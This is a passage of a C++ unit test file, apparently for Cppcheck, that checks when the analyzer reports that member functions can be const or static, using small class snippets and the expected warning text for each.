operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", 